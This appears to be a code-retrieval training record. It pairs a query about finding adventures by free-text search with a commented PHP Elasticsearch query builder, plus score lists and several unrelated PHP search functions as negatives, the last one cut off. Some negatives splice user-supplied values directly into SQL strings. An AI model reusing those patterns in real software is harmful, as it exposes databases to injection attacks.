[ "0.56059575", "0.5154953", "0.5000537", "0.48978397", "0.48269364", "0.4801871", "0.47647998", "0.470962", "0.46791765", "0.46641538", "0.46523607", "0.46193564", "0.46042308", "0.45997277", "0.45959094", "0.45646018", "0.45536798", "0.4551669", "0.45469433", "0.45301247", "0.45246258", "0.44785923", "0.44725528", "0.4446817", "0.442928", "0.44254923", "0.4421596", "0.44172063", "0.44144794", "0.44131085", "0.43971345", "0.4393702", "0.43800956", "0.4376356", "0.4352253", "0.43480664", "0.43293288", "0.43288535", "0.4326164", "0.4323331", "0.43186393", "0.43183318", "0.43174088", "0.43160963", "0.43149173", "0.43144557", "0.430443", "0.4300166", "0.42902556", "0.4289753", "0.42883387", "0.42780232", "0.42777136", "0.42700228", "0.426702", "0.42622504", "0.42595503", "0.42552897", "0.42551172", "0.42548814", "0.42489925", "0.42458278", "0.4244899", "0.42320222", "0.42313874", "0.42278528", "0.4227807", "0.4225347", "0.42234102", "0.42230862", "0.42217714", "0.4220779", "0.42182082", "0.42118138", "0.42028937", "0.419676", "0.4194898", "0.41871476", "0.4186605", "0.41834688", "0.41732508", "0.41717014", "0.4166805", "0.41625547", "0.41594192", "0.4154923", "0.41534558", "0.41501263", "0.41482362", "0.4142731", "0.4141193", "0.41380283", "0.4136718", "0.41308016", "0.41291606", "0.4128787", "0.41254404", "0.4122495", "0.41211656", "0.41196898" ]
0.42201373
72
Find adventures matching the freetext search query
private function qMatches(string $q, $matches): array { // Get a list of freetext searchable fields and their individual boost values. $fields = $this->fieldProvider ->getFields() ->filter(function (Field $field) { return $field->isFreetextSearchable(); }) ->map(function (Field $field) { return $field->getName().'^'.$field->getSearchBoost(); }) ->getValues(); // Implicitly, everything the user types in the search bar is ANDed together. // A search for 'galactic ghouls' should result in adventures that contain // both terms. If the user really wants to search for 'galactic OR ghouls', // the have to separate the terms by ' OR '. // The order of terms is irrelevant: Searching for 'galactic ghouls' leads // to the same results as searching for 'ghouls galactic'. We could look // into supporting quoting terms ('"galactic ghouls"') later, which would // NOT match adventures with 'ghouls galactic' or adventures with 'galactic' // and 'ghouls' in different fields. $clauses = explode(' OR ', $q); $orMatches = []; foreach ($clauses as $clause) { $terms = explode(' ', $clause); // All terms that are part of this clause have to be ANDed together. // Given the search query 'galactic ghouls', we don't care if both // 'galactic' and 'ghouls' appear in the same field (e.g., the title) // or appear on their own in different fields (e.g., 'galactic' in // the title and 'ghouls' in the description). That is why we can't // simply use a single 'multi_match' query with the operator set to // 'and' like this: // ['multi_match' => [ // 'query' => 'galactic ghouls', // 'fields' => $fields, // 'type' => 'most_fields' // 'fuzziness' => 'AUTO', // 'prefix_length' => 2, // 'operator' => 'and' // ]] // This query would only return results where both terms appear in // the same field. We also can't use 'cross_fields' (instead of // 'most_fields'): While that allows terms to be distributed across // fields, it doesn't allow using fuzziness. // // That is why we create a multi_match query per term and AND them // together using a 'bool => 'must' query. $termMatches = []; foreach ($terms as $term) { if ('' == trim($term)) { continue; } $termMatches[] = [ 'multi_match' => [ 'query' => $term, 'fields' => $fields, // 'most_fields' combines the scores of all fields that // contain the search term: If the term appears in title, // description, and edition, the score of all of these // occurrences is combined. This is better than using // the default 'best_fields', which simply takes field // with the highest score, discarding all lower scores. 'type' => 'most_fields', // Fuzziness is helpful for typos and finding plural // versions of the same word. We do not currently stem // the description and title, which is why using some // fuzziness is essential. // Setting prefix_length to 2 causes fuzziness to not // change the first 2 characters of search terms. As // an example, take the search for 'ghouls': // 'ghouls' only has an edit distanc of 2 to the term // 'should'. We don't want searches for 'ghouls' to // also match 'should', which is why we restrict the // fuzziness to start after the second character. 'fuzziness' => 'AUTO', 'prefix_length' => 2, ], ]; } if (!empty($termMatches)) { $orMatches[] = [ 'bool' => [ 'must' => $termMatches, ], ]; } } if (!empty($orMatches)) { // Combine the collected OR conditions. // At least one of them must match for an adventure to be returned. // The adventure will get a higher score if more than one matches. $matches[] = [ 'bool' => [ 'should' => $orMatches, 'minimum_should_match' => 1, ], ]; } return $matches; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getByFullTextSearch($searchText, $showEmbargoed = false);", "function search() {}", "public function search();", "public function search();", "function estimates($search)\n {\n $p = new ETA_Feed();\n $p->parse(curl_get_file_contents('http://www.bart.gov/dev/eta/bart_eta.xml'));\n \n $words = preg_split('#[/\\s\\.]+#', strtolower($search));\n \n $special_cases = array();\n $lev_distances = array();\n $station_matches = array();\n \n // look for possible matches\n foreach($p->stations as $s => $station)\n {\n $station_match = false;\n \n if(array_intersect($words, $station['words']))\n $station_match = true;\n \n foreach($words as $search_word)\n if($search_word)\n foreach($station['words'] as $station_word)\n if(substr($station_word, 0, strlen($search_word)) == $search_word)\n $station_match = true;\n \n switch(true)\n {\n // airport code for SF airport\n case strtoupper($search) == 'SFO' && $station['name'] == \"San Francisco Int'l Airport\":\n \n // airport code for Oakland airport\n case strtoupper($search) == 'OAK' && $station['name'] == 'Coliseum/Oakland Airport':\n \n // just searching for \"berkeley\" should match Downtown Berkeley\n case in_array(strtolower($search), array('berk', 'berkeley')) && $station['name'] == 'Downtown Berkeley':\n \n // does it seem more likely that someone would mean the SF airport over the Oakland one?\n case strtolower($search) == 'airport' && $station['name'] == \"San Francisco Int'l Airport\":\n\n // just searching for \"downtown\" should match downtown SF\n case strtolower($search) == 'downtown' && $station['name'] == 'Montgomery St.':\n\n $special_case = 1;\n $station_match = true;\n break;\n \n default:\n $special_case = 0;\n break;\n }\n \n if($station_match)\n {\n $station_matches[] = $station;\n $lev_distances[] = levenshtein($search, $station['name']);\n $special_cases[] = $special_case;\n }\n }\n \n // sort possible matches\n array_multisort($special_cases, SORT_DESC, $lev_distances, $station_matches);\n \n return count($station_matches) ? $station_matches[0] : null;\n }", "function fullTextSearch($client, $html, $query)\n{\n if ($html) {echo \"<h2>Documents containing $query</h2>\\n\";}\n\n $feed = $client->getDocumentListFeed(\n 'https://docs.google.com/feeds/documents/private/full?q=' . $query);\n\n printDocumentsFeed($feed, $html);\n}", "function vcn_findwork_results_get_data_freetext_search($params, $print_jurl=false, $jobpagemax=500) {\r\n\r\n\t$search_term = $params['search_term'];\r\n\t$search_term = str_replace('~', '/', $search_term);\r\n\t$search_term = str_replace('*', '\\\\', $search_term);\r\n\r\n\t$common_keywords = vcn_rest_wrapper('vcnoccupationsvc', 'vcncommonkeywords', 'getcommonkeywords', NULL, 'json', 'post', false);\r\n\r\n\t$find_job_query_string = vcn_prepend_the_word_Title($search_term, $common_keywords);\r\n\tif ($params['zipcode']) {\r\n\t\t$find_job_query_string .= \"&zc1=\".$params['zipcode'].\"&rd1=\".$params['distance'];\r\n\t}\r\n\r\n\treturn vcn_get_data_from_apiusjobs($find_job_query_string, $print_jurl, $jobpagemax);\r\n}", "public function getSearchText();", "function search()\n\t{}", "function search()\n\t{}", "public function regexp( Application_Model_User $antaUser, $filters ){\r\t\t\r\t\t$orderBy = implode(\",\", empty($filters->orders)? array(\"date DESC\", \"id_document DESC\",\"position ASC\"):$filters->orders );\r\t\t\r\t\t# create result set object\r\t\t$matches = new Anta_Frog_Matches(); \r\t\t$whereClause = \"\";\r\t\t$binds = array();\r\t\t\r\t\t# 1. filter documents by documents id\r\t\tif( !(empty( $filters->docs ))){\r\t\t\t$whereClause .= \" id_document IN (\".implode(\",\",array_fill( 0, count($filters->docs), \"?\" )).\" ) \";\r\t\t\t$binds = array_merge( $binds, $filters->docs );\r\t\t}\r\t\t\r\t\t# 2. filter documents by document tags\r\t\tif( !(empty( $filters->tags ))){\r\t\t\t$whereClause .= (strlen($whereClause)>0?\"AND \":\"\").\" id_document IN ( \r\t\t\t\tSELECT id_document FROM anta_{$antaUser->username}.`documents_tags` \r\t\t\t\tNATURAL JOIN anta_{$antaUser->username}.`tags` \r\t\t\t\tWHERE id_tag IN (\".implode(\",\",array_fill( 0, count($filters->tags), \"?\" )).\" ) )\";\r\t\t\t$binds = array_merge( $binds, $filters->tags );\r\t\t}\r\t\t\r\t\t$startTime = microtime(true);\r\t\t# get a list of sentences that matches\r\t\t$query = \"\r\t\t\tSELECT SQL_CALC_FOUND_ROWS title, DATE_FORMAT( do.date,'%d/%m/%Y' ) as date, content, position, id_sentence, id_document \r\t\t\tFROM (\r\t\t\t\tSELECT id_document, title, date FROM anta_{$antaUser->username}.documents \r\t\t\t\t\".( strlen( $whereClause )>0?\"WHERE {$whereClause}\":\"\").\"\r\t\t\t\t\r\t\t\t) do\r\t\t\tINNER JOIN anta_{$antaUser->username}.sentences se USING( id_document ) \r\t\t\tWHERE se.content REGEXP ? ORDER BY {$orderBy} LIMIT {$filters->offset},{$filters->limit}\"\r\t\t;\r\t\t\r\t\t$mysqli = Anta_Core::getMysqliConnection();\r\t\t$stmt = $mysqli->query( $query, array_merge( $binds, array($filters->query) ) );\r\t\t\r\t\t\r\t\t\r\t\t// create a list of different document. size property is the number of sentences\r\t\twhile( $row = $stmt->fetchObject() ){\r\t\t\tif( !isset( $matches->documents[ $row->id_document ] ) ){ \r\t\t\t\t$matches->documents[ $row->id_document ] = array(\r\t\t\t\t\t\"title\" => $row->title,\r\t\t\t\t\t\"date\" => $row->date,\r\t\t\t\t\t\"tags\" => Application_Model_DocumentsMapper::getTags( $antaUser, $row->id_document ),\r\t\t\t\t\t\"size\" => Application_Model_SentencesMapper::getNumberOfSentences( $antaUser, $row->id_document )\r\t\t\t\t);\r\t\t\t}\r\t\t\t\r\t\t\t$matches->sentences[ $row->id_sentence ] = new Application_Model_Sentence( $row->id_sentence, $row->content, $row->id_document, $row->position, $row->date );\r\t\t\t\r\t\t}\r\t\t\r\t\t// get total items\r\t\t$stmt = $mysqli->query(\"SELECT FOUND_ROWS() as totalItems\");\r\t\t$matches->totalItems = $stmt->fetchObject()->totalItems;\r\t\t\r\t\t$checkPointA = microtime(true) - $startTime;\r\t\t$startTime = microtime(true);\r\t\t\r\t\t// test, again... find all documents id containing that regexp\r\t\t$stmt = $mysqli->query(\r\t\t\t\"SELECT DISTINCT id_document FROM anta_{$antaUser->username}.documents do\r\t\t\t\tINNER JOIN anta_{$antaUser->username}.sentences se USING( id_document ) \r\t\t\tWHERE se.content REGEXP ? \", array($filters->query)\r\t\t);\r\t\t$ids = array();\r\t\twhile( $row = $stmt->fetchObject() ){\r\t\t\t$ids[] = $row->id_document;\r\t\t}\r\t\t\t\t\t\t\r\t\t\r\t\t// computate tags statistics, top FIVE for each category using filter in id_documents\r\t\tforeach( Application_Model_CategoriesMapper::getAll( $antaUser ) as $category ){\r\t\t\t\r\t\t\t$matches->categories[ $category->content ] = array();\r\t\t\t$query = \"SELECT dt.id_tag, dtd.content, count(distinct dt.`id_document`) AS `number_of_documents`\r\t\t\t\tFROM \r\t\t\t\t\tanta_{$antaUser->username}.documents_tags dt \r\t\t\t\t\t\r\t\t\t\tINNER JOIN\r\t\t\t\t\tanta_{$antaUser->username}.`tags` dtd\r\t\t\t\t\tUSING ( id_tag ) \r\t\t\t\tWHERE id_document IN(\".implode(\",\",$ids).\") AND {$whereClause} \".( strlen( $whereClause )>0? \"AND \":\"\" ).\" id_category = ? \r\t\t\t\tGROUP BY dtd.id_tag ORDER BY `number_of_documents` DESC LIMIT 0,5\";\r\t\t\t\t\r\t\t\t$stmt = $mysqli->query($query, array_merge( $binds,array( $category->id ) ) );\r\t\t\twhile( $row = $stmt->fetchObject() ){\r\t\t\t\t$matches->categories[ $category->content ][ $row->id_tag ] = $row;\r\t\t\t}\r\t\t\r\t\t};\r\t\t$checkPointB = microtime(true) - $startTime;\r\t\techo $checkPointA.\", \".$checkPointB;\r\t\treturn $matches;\r\t\t// \r\t\t\r\t\t\r\t}", "function spectra_search_address ($search_text)\n\t{\n\t\techo \"\t\t<h2> Address Search Results: </h2> \\n\\n\";\n\n\t\t$address = mysqli_getset ($GLOBALS[\"tables\"][\"ledger\"], \"`address` LIKE '%\".$search_text.\"%'\");\n\n\t\tif (!isset ($address[\"data\"]) || $address[\"data\"] == \"\")\n\t\t{\n\t\t\techo \"\t\t<p class=\\\"search_dark\\\"> No Matching Address Records </p> \\n\\n\";\n\t\t}\n\n\t\telse\n\t\t{\n\t\t\techo \"\t\t<p class=\\\"search_dark\\\"> Addresses Containing \\\"\".substr ($search_text, 0, 32).\"\\\": </p> \\n\\n\";\n\n\t\t\tforeach ($address[\"data\"] as $address)\n\t\t\t{\n\t\t\t\techo \"\t\t<p> \\n\";\n\t\t\t\techo \"\t\t<a href=\\\"address.php?address=\".$address[\"address\"].\"\\\" title=\\\"Address Detaiil Page\\\"> \\n\";\n\t\t\t\techo \"\t\t\t\".$address[\"address\"].\"\\n\";\n\t\t\t\techo \"\t\t</a> \\n\";\n\t\t\t\techo \"\t\t</p> \\n\\n\";\n\t\t\t}\n\t\t}\n\t}", "function search_query($query){\n\t\tglobal $bBlog;\n\t\t$query = $this->replace($query);\n\t\t$words = explode(' ', $query);\n\t \n\t\t$sql = '';\n\t\tforeach ($words as $word){\n\t\t\t$this->make_tmp($word);\n\t\t\t$sql .= \" OR `string` = '\".$word.\"'\";\n\t\t}\n\t\treturn $bBlog->db->get_results(\"\n\t \tSELECT \n\t\t\t`article_id` AS `id`,\n\t\t\tSUM(points) AS points_sum\n\t\tFROM `\".T_SEARCH_TMP.\"`\n\t\tWHERE 0 \".$sql.\"\n\t\tGROUP BY `id`\n\t\tORDER BY `points_sum` DESC\n\t\tLIMIT 20;\n\t\t\");\n\t}", "public function search($query = array()) {\n\n $result = array();\n \n if (!$this->dbh) {\n return $result;\n }\n \n /*\n * By default $this->nbOfResults articles are returned - and never more than $this->maximumNbOfResults\n */\n $limit = min(isset($query['limit']) ? $query['limit'] : $this->nbOfResults, $this->maximumNbOfResults);\n \n $where = '';\n if (isset($query['polygon'])) {\n $where = 'WHERE ST_intersects(geom, ST_GeomFromText(\\'' . pg_escape_string($query['polygon']) . '\\', 4326))';\n }\n \n /*\n * Search in input language\n */\n $entries = pg_query($this->dbh, 'SELECT title, summary FROM ' . $this->schema . '.wk WHERE lang = \\'' . pg_escape_string($this->context->dictionary->language) . '\\' AND wikipediaid IN (SELECT wikipediaid FROM ' . $this->schema . '.wikipedia ' . $where . ' ORDER BY relevance DESC) LIMIT ' . $limit);\n\n if (!$entries) {\n return $result;\n }\n\n /*\n * Retrieve first result\n */\n while ($entry = pg_fetch_assoc($entries)) {\n $entry['url'] = '//' . $this->context->dictionary->language . '.wikipedia.com/wiki/' . rawurlencode($entry['title']);\n $result[] = $entry;\n }\n \n /*\n * Close database handler\n */\n if ($this->closeDbh) {\n pg_close($this->dbh);\n }\n \n return $result;\n }", "public function checkFulltextSupport();", "public function search(){}", "function phpTrafficA_ExtractKeywords($refurl,$engine_id,$engine_url,$engine_kwd,$engine_charset,$debugit=false) {\n$found = 0;\n// Separate hosts and the rest\n$test = parse_url($refurl);\n$refhost = $test['host'];\nif (isset($test['query'])) {\n\t$refquery = $test['query'];\n} else {\n\t$refquery = \"\";\n}\n// if (ereg('^(.*)\\?(.*)',$refurl,$regs)) {\n//\t$refhost=$regs[1];\n//\t$refquery=$regs[2];\n//}\n$nSengine = count($engine_url);\nfor ($i=0; $i<$nSengine;$i++) {\n\t// Is url matching the search engine?\n\tif (strpos($refhost,$engine_url[$i]) !== FALSE) {\n\t\t// Look for keywords\n\t\t$nKeySearch = count($engine_kwd[$i]);\n\t\tforeach($engine_kwd[$i] as $key) {\n\t\t\tif (preg_match('/\\b'.$key.'=(.*)(?:&|$)/Ui',$refquery,$regs)) {\n\t\t\t\t// ok, we have a match, store the SE name\n\t\t\t\t$engid = $engine_id[$i];\n\t\t\t\t// look for keywords\n\t\t\t\t$searched=urldecode($regs[1]);\n\t\t\t\t// Deal with google cache (double barrel keywords);\n\t\t\t\tif (preg_match('/google cache/i', $engid)) {\n\t\t\t\t\t$strings = explode(\" \", $searched);\n\t\t\t\t\t$s = array_shift($strings);\n\t\t\t\t\t$searched = implode(\" \",$strings);\n\t\t\t\t}\n\t\t\t\t// Deal with google images (double barrel keywords);\n\t\t\t\tif (preg_match('/google images/i', $engid)) {\n\t\t\t\t\t$key = \"q\";\n\t\t\t\t\tpreg_match('/\\b'.$key.'=(.*)(?:&|$)/Ui',$searched,$regs);\n\t\t\t\t\t$searched=urldecode($regs[1]);\n\t\t\t\t}\n\t\t\t\t// Try to convert keywords to UTF-8\n\t\t\t\t// Russian Search Engines\n\t\t\t\tif (!preg_match('%^(?:[\\x09\\x0A\\x0D\\x20-\\x7E]|[\\xC2-\\xDF][\\x80-\\xBF]|\\xE0[\\xA0-\\xBF][\\x80-\\xBF]|[\\xE1-\\xEC\\xEE\\xEF][\\x80-\\xBF]{2}|\\xED[\\x80-\\x9F][\\x80-\\xBF]|\\xF0[\\x90-\\xBF][\\x80-\\xBF]{2}|[\\xF1-\\xF3][\\x80-\\xBF]{3}|\\xF4[\\x80-\\x8F][\\x80-\\xBF]{2})*$%xs', $searched)) {\n\t\t\t\t\t$searched = iconv ($engine_charset[$i], \"UTF-8\", $searched);\n\t\t\t\t} else if (isset($engine_charset[$i])) {\n\t\t\t\t\t$searched = iconv ($engine_charset[$i], \"UTF-8\", $searched);\n\t\t\t\t} else if (preg_match('/google/i', $engid)) {\n\t\t\t\t\t$key = \"ie\";\n\t\t\t\t\tif (preg_match('/\\b'.$key.'=(.*)(?:&|$)/Ui',$refquery,$regs)) {\n\t\t\t\t\t\t$encoding=urldecode($regs[1]);\n\t\t\t\t\t\t$searched = iconv ($encoding, \"UTF-8\", $searched);\n\t\t\t\t\t}\n\t\t\t\t} else if (preg_match('/yahoo/i', $engid)) {\n\t\t\t\t\t$key = \"ei\";\n\t\t\t\t\tif (preg_match('/\\b'.$key.'=(.*)(?:&|$)/Ui',$refquery,$regs)) {\n\t\t\t\t\t\t$encoding=urldecode($regs[1]);\n\t\t\t\t\t\t$searched = iconv ($encoding, \"UTF-8\", $searched);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$found = 1;\n\t\t\t\t$engkwd[0] = trim(preg_replace('/\\s\\s+/', ' ', $searched)).\" \"; // Space for backwards compatibility\n\t\t\t\t$engkwd[1] = $engid;\n\t\t\t\t# print_r($engkwd);\n\t\t\t\treturn $engkwd;\n\t\t\t\t// Exit the whole loop on SE, we found it...\n\t\t\t}\n\t\t}\n\t}\n}\nreturn;\n}", "function listAllWithSearch($term) \r\n {\r\n\r\n $newTerm = \"%\".$term.\"%\";\r\n\r\n //new PDOAgent\r\n $p = new PDOAgent(\"mysql\", DB_USER, DB_PASS, DB_HOST, DB_NAME);\r\n\r\n //Connect to the Database\r\n $p->connect();\r\n\r\n //Setup the Bind Parameters\r\n $bindParams = [\"term\"=>$newTerm];\r\n \r\n //Get the results of the insert query (rows inserted)\r\n $results = $p->query(\"SELECT * FROM Coaches WHERE coachFName LIKE :term OR\r\n coachLName LIKE :term OR salary LIKE :term OR teamName LIKE :term \r\n OR dateStarted LIKE :term OR endOfContract LIKE :term;\", $bindParams);\r\n \r\n //Disconnect from the database\r\n $p->disconnect();\r\n \r\n //Return the objects\r\n return $results;\r\n }", "public function search($q);", "function search( $searchText, $params = array(), $searchTypes = array() )\n {\t\n \n $cl = new SphinxClient();\n\t \t$cl->SetServer( $this->SphinxServerHost, $this->SphinxServerPort );\n\t \t\n\t \t// Match mode\n\t \t$matchModes = array(\n\t \t\t'SPH_MATCH_ANY' => SPH_MATCH_ANY,\n\t \t\t'SPH_MATCH_ALL' => SPH_MATCH_ALL,\n\t \t\t'SPH_MATCH_PHRASE' => SPH_MATCH_PHRASE,\n\t \t\t'SPH_MATCH_BOOLEAN' => SPH_MATCH_BOOLEAN,\n\t \t\t'SPH_MATCH_EXTENDED' => SPH_MATCH_EXTENDED,\n\t \t\t'SPH_MATCH_FULLSCAN' => SPH_MATCH_FULLSCAN,\n\t \t\t'SPH_MATCH_EXTENDED2' => SPH_MATCH_EXTENDED2,\n\t \t);\t \t\n\t \t$cl->SetMatchMode((isset($params['MatchType']) and key_exists($params['MatchType'],$matchModes)) ? $matchModes[$params['MatchType']] : SPH_MATCH_ANY);\n\t \t\n\t \t \n\t \t// Perhaps anyone have an idea how to implement this type checking in Sphinx ?\n\t \t// (ezcontentobject.section_id in (1)) OR (ezcontentobject.contentclass_id in (1, 19, 20, 27, 29, 30, 31, 32, 33, 34, 40, 44, 47, 48, 50, 51, 52, 57, 59, 61) AND ezcontentobject.section_id in (3))\n\t \t// At this moment it can be implemented directly in sphinx configuration query.\n\t \t/*$limitation = false;\n if ( isset( $params['Limitation'] ) )\n {\n $limitation = $params['Limitation'];\n }\n $limitationList = eZContentObjectTreeNode::getLimitationList( $limitation );\n $sqlPermissionChecking = eZContentObjectTreeNode::createPermissionCheckingSQL( $limitationList );*/\n \n\t \t\n\t \t// Set limit, offset\t \t\n\t\t$cl->SetLimits((int)$params['SearchOffset'],(int)$params['SearchLimit']);\n\t\t\t \n\t\t// Language filter, eZFind copied and changed a little bit :D\n\t\t$ini = eZINI::instance();\n $languages = $ini->variable( 'RegionalSettings', 'SiteLanguageList' );\n $mainLanguage = $languages[0]; \n $cl->SetFilter( 'language_code',array(abs(crc32($mainLanguage))));\n \n // Fetch only not deleted records\n\t\t$cl->SetFilter( 'is_deleted',array(0));\n\t\t\n\t\t\t\n\t \t// Build section filter\n\t \t$searchSectionID = $params['SearchSectionID'];\n\t \tif ( is_numeric( $searchSectionID ) and $searchSectionID > 0 )\n { \n $cl->SetFilter( 'section_id', array( (int)$searchSectionID ) );\n }\n else if ( is_array( $searchSectionID ) )\n {\n \t$cl->SetFilter( 'section_id',$searchSectionID);\n }\n \n // Build class filter \n $searchContentClassID = isset($params['SearchContentClassID']) ? $params['SearchContentClassID'] : 0 ; \n if ( is_numeric( $searchContentClassID ) and $searchContentClassID > 0 )\n {\n \t $cl->SetFilter( 'contentclass_id', array((int)$searchContentClassID));\n }\n else if ( is_array( $searchContentClassID ) )\n { \n $cl->SetFilter( 'contentclass_id',$searchContentClassID);\n }\n \n // Build parent node filter\n $searchParentNodeID = isset($params['ParentNodeID']) ? $params['ParentNodeID'] : 0 ; \n if ( is_numeric( $searchParentNodeID ) and $searchParentNodeID > 0 )\n {\n \t $cl->SetFilter( 'parent_node_id', array((int)$searchParentNodeID));\n }\n else if ( is_array( $searchParentNodeID ) )\n { \n $cl->SetFilter( 'parent_node_id',$searchParentNodeID);\n }\n \n // Build subtree filter\n $searchSubtreeNodeID = isset($params['SearchSubTreeArray']) ? $params['SearchSubTreeArray'] : 0 ; \n if ( is_numeric( $searchSubtreeNodeID ) and $searchSubtreeNodeID > 0 )\n {\n \t $cl->SetFilter( 'pathnodes', array((int)$searchSubtreeNodeID));\n }\n else if ( is_array( $searchSubtreeNodeID ) and count( $searchSubtreeNodeID ) )\n { \n $cl->SetFilter( 'pathnodes',$searchSubtreeNodeID);\n }\n \n \n // Visibility check\n $ignoreVisibility = $params['IgnoreVisibility'] == 'true' ? true : false;\n if (!$ignoreVisibility)\n {\n \t\t$cl->SetFilter( 'is_invisible',array(0));\n } \n \n // Publish date,timestamp date filter, borrowed from ezsearchengine plugin. :) \n if ( isset( $params['SearchDate'] ) )\n \t$searchDate = $params['SearchDate'];\n\t else\n\t\t $searchDate = -1;\n\t\t\n\t if ( isset( $params['SearchTimestamp'] ) )\n\t\t $searchTimestamp = $params['SearchTimestamp'];\n\t else\n\t\t $searchTimestamp = false;\n \t\t \n \n if ( ( is_numeric( $searchDate ) and $searchDate > 0 ) or\n $searchTimestamp )\n {\n $date = new eZDateTime();\n $timestamp = $date->timeStamp();\n $day = $date->attribute('day');\n $month = $date->attribute('month');\n $year = $date->attribute('year');\n $publishedDateStop = false;\n if ( $searchTimestamp )\n {\n if ( is_array( $searchTimestamp ) )\n {\n $publishedDate = $searchTimestamp[0];\n $publishedDateStop = $searchTimestamp[1];\n }\n else\n $publishedDate = $searchTimestamp;\n }\n else\n {\n switch ( $searchDate )\n {\n case 1:\n {\n $adjustment = 24*60*60; //seconds for one day\n $publishedDate = $timestamp - $adjustment;\n } break;\n case 2:\n {\n $adjustment = 7*24*60*60; //seconds for one week\n $publishedDate = $timestamp - $adjustment;\n } break;\n case 3:\n {\n $adjustment = 31*24*60*60; //seconds for one month\n $publishedDate = $timestamp - $adjustment;\n } break;\n case 4:\n {\n $adjustment = 3*31*24*60*60; //seconds for three months\n $publishedDate = $timestamp - $adjustment;\n } break;\n case 5:\n {\n $adjustment = 365*24*60*60; //seconds for one year\n $publishedDate = $timestamp - $adjustment;\n } break;\n default:\n {\n $publishedDate = $date->timeStamp();\n }\n }\n }\n \n if ($publishedDateStop)\n {\n \t$cl->SetFilterRange('published', $publishedDate, $publishedDateStop); // Range type\n } else {\n \t$cl->SetFilterRange('published', 0, $publishedDate, true); // > type\n }\n }\n \n if ( isset( $params['SortBy'] ) )\n $sortArray = $params['SortBy'];\n else\n $sortArray = array(); \n \n // Build sort params \n \t$sortString = $this->buildSort($sortArray); \t\n \tif ($sortString != '')\n \t{\n \t\t$cl->SetSortMode(SPH_SORT_EXTENDED, $sortString); // During sorting we set extended sort mode\n \t}\n \n \n \t\n // Filter , Partly based on ezpersistenobject eZPersistentObject::conditionTextByRow() method \t\n\t\t$fitlerRanges = isset($params['Filter']) ? $params['Filter'] : null;\n\t\tif ( is_array( $fitlerRanges ) and\n count( $fitlerRanges ) > 0 )\n {\n \t\n \tforeach ($fitlerRanges as $id => $cond)\n \t{ \t\t\n \t\tif ( is_array( $cond ) )\n {\n if ( is_array( $cond[0] ) ) // = operator behaviour\n {\n \t$cl->SetFilter( 'attr_srch_int_pos'.$this->getPositionClassAttribute($id) , (int)$cond[0] ); \n }\n else if ( is_array( $cond[1] ) ) // Betweeen range\n { \n $range = $cond[1];\n $cl->SetFilterRange('attr_srch_int_pos'.$this->getPositionClassAttribute($id), (int)$range[0], (int)$range[1], $cond[0] == 'true' ); \t\n }\n else\n {\n switch ( $cond[0] )\n {\n case '>=': \n case '>': \n {\n \t $cl->SetFilterRange( 'attr_srch_int_pos'.$this->getPositionClassAttribute($id) ,0, (int)$cond[1], true );\n \n } break;\n \n case '<=': \n case '<': \n {\n \t $cl->SetFilterRange( 'attr_srch_int_pos'.$this->getPositionClassAttribute($id),0, (int)$cond[1], false );\n \n } break;\n \n \n default:\n {\n eZDebug::writeError( \"Conditional operator '$cond[0]' is not supported.\",'eZSphinx::search()' );\n } break;\n }\n\n }\n } else {\n \t$cl->SetFilter( 'attr_srch_int_pos'.$this->getPositionClassAttribute($id) , array($cond) ); \t\n }\n \t}\n }\n\t\t\n // Sphinx field weightning\n if (isset($params['FieldWeight']) and is_array($params['FieldWeight']) and count($params['FieldWeight']) > 0)\n {\n \t$tmpFields = array();\n \tforeach ($params['FieldWeight'] as $classAttributeID => $weight)\n \t{\n \t\t$tmpFields['attr_srch_pos'.$this->getPositionClassAttribute($classAttributeID)] = $weight;\n \t} \n \t$cl->SetFieldWeights($tmpFields);\n \tunset($tmpFields);\n }\n \n \n // this will work only if SPH_MATCH_EXTENDED mode is set\n $AppendExtendQuery = '';\n if (isset($params['MatchType']) and key_exists($params['MatchType'],$matchModes) and $matchModes[$params['MatchType']] == SPH_MATCH_EXTENDED)\n {\n \t$searchClassAttributeID = isset($params['SearchClassAttributeID']) ? $params['SearchClassAttributeID'] : 0 ; \n\t if ( is_numeric( $searchClassAttributeID ) and $searchClassAttributeID > 0 )\n\t {\n\t \t $AppendExtendQuery = '@attr_srch_pos'.$this->getPositionClassAttribute((int)$searchClassAttributeID).' ';\n\t }\n\t else if ( is_array( $searchClassAttributeID ) )\n\t { \n\t \n\t $SubElements = array();\n\t foreach ($searchClassAttributeID as $ClassAttributeID)\n\t {\n\t \t$SubElements[] = 'attr_srch_pos'.$this->getPositionClassAttribute($ClassAttributeID);\n\t }\n\t \t$AppendExtendQuery = '@('.implode(',',$SubElements).') ';\t \n\t }\n }\n \n // Transofrm without special characters like i understood. Actualy in sphinx it's not needed. But like indexing converts them to normalized text, it will be changed in futher versions..\n $trans = eZCharTransform::instance();\n $searchText = $trans->transformByGroup( $searchText, 'search' ); \n\t \t$result = $cl->Query( $AppendExtendQuery.trim($searchText) , isset($params['IndexName']) ? $params['IndexName'] : $this->SphinxIndexName );\n\t \t\t\n\t \t// If nothing found return immediately \t\n\t \tif ($result['total_found'] == 0)\n\t \t{\t \t\n\t\t \treturn array( \"SearchResult\" => array(),\n\t \"SearchCount\" => 0,\n\t \"StopWordArray\" => array() );\n\t \t} \n\t \t\n\t \t$NodeIDList = array();\n\t \n\t \t$SingleNodeID = null;\n\t \t\n\t \tif ($result['total_found'] > 1)\n\t \t{\n\t\t \t// Build nodes ID's\n\t\t \tforeach ($result['matches'] as $match)\n\t\t \t{ \t\t\n\t\t \t\t$NodeIDList[$match['attrs']['node_id']] = $match['attrs']['node_id'];\n\t\t \t}\n\t \t} else {\n\t \t\t\tforeach ($result['matches'] as $match)\n\t\t\t \t{\t \t\t\n\t\t\t \t\t$NodeIDList = $match['attrs']['node_id'];\n\t\t\t \t\t$SingleNodeID = $match['attrs']['node_id'];\n\t\t\t \t}\n\t \t}\n\t \t\n\t \t\n\t \t$nodeRowList = array();\n \t\t$tmpNodeRowList = eZContentObjectTreeNode::fetch( $NodeIDList, false, isset($params['AsObjects']) ? $params['AsObjects'] : true );\n \t\t \t\n // Workaround for eZContentObjectTreeNode::fetch behaviour\n if ( count( $tmpNodeRowList ) === 1 )\n {\n $tmpNodeRowList = array( $tmpNodeRowList ); \n unset($NodeIDList); \n $NodeIDList = array();\n $NodeIDList[$SingleNodeID] = $SingleNodeID;\n }\n \n // If fetched objects, keeps fetched sorting as Sphinx returned it\n if (!isset($params['AsObjects']) || $params['AsObjects'] === true)\n { 